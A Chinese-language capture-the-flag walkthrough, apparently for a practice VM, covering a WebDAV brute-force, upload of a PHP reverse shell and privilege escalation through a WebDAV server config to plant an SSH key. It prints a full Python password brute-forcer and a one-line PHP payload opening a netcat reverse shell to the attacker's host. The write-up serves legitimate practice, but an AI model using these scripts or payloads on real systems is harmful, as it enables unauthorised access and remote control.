userflag(web打点)
端口扫描

一个80的web服务,还有一个6065的其它服务,后面知道其实是webdav服务,简单来说就是网络文件夹
80端口发现一个子域名:dev.dav.dsz
然后目录扫描没扫除东西

但是这截图证明是和webdav有关,先放在这!
6065webdav服务,需要http basic认证,直接脚本爆破
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| import requests import base64
url = "http://192.168.3.7:6065/" user = "admin"
password_file = r"C:\Users\MR\Documents\top密码\top1000.txt"
with open(password_file, "r", encoding="utf-8", errors="ignore") as f: passwords = f.read().splitlines()
for p in passwords: auth = f"{user}:{p}" b64 = base64.b64encode(auth.encode()).decode()
headers = { "Authorization": f"Basic {b64}" }
try: r = requests.get( url, headers=headers, allow_redirects=False, proxies={"http": None, "https": None}, timeout=5 )
print(f"{user}:{p} -> {r.status_code}")
if r.status_code in [200, 301, 302, 207]: print(f"\n[+] SUCCESS FOUND: {user}:{p}") break
except: pass
|
然后就是你爆破毕竟是靠运气吗,所以你字典尽量多弄点,网上查查常见的webdav的默认密码啥的!
1
| [+] SUCCESS FOUND: admin:qwertyuiop
|
然后使用cadaver去连接
1 2 3 4 5 6 7
| ls # 列出目录 cd folder # 进入子目录 put localfile.txt # 上传本地文件到服务器 get remotefile.txt # 下载服务器文件到本地 delete remotefile.txt # 删除服务器文件 mkdir newfolder # 新建目录 quit # 退出连接
|
然后下面拿到两个关键信息
1 2 3 4 5
| dav:/projects/webapp-api/> cat .env.example DB_HOST=127.0.0.1 DB_USER=dev_user DB_PASS=P@ssw0rd2026! AWS_ACCESS_KEY=AKIAIOSFODNN7EXAMPLE
|
这里有个密码可以尝试ssh密码复用啥的,但是dev_user不行
test文件
想着是php文件访问一些发现不解析(这里正常思路就是还要尝试一下其它文件和webdav下的其它目录能不能解析)但是都不行
这里其实就应该将整合起来看,前面那个子域名不也是webdav目录吗(这里打的时候考虑的是通过80端口去文件包含)

直接覆盖test,写反弹shell就好了
1 2 3
| <?php exec("busybox nc 192.168.3.6 6666 -e /bin/sh"); ?>
|
rootflag(提权)
拿到shell之后就开始乱搞,直接linpeas扫一遍,反正无效的操作搞了好久
密码复用ssh连接user

提权到user再去root

这个webdav网上没有提权思路,得看它具体命令可以怎么用,其实就是关于搭建webdav服务器的命令。
通过配置文件提权,使用-c参数指定按照配置文件启动webdav,先去看看/etc/webdav/config.yaml

我们创建一个类型的文件把端口和目录改下

然后访问

写入公钥

然后免密连接
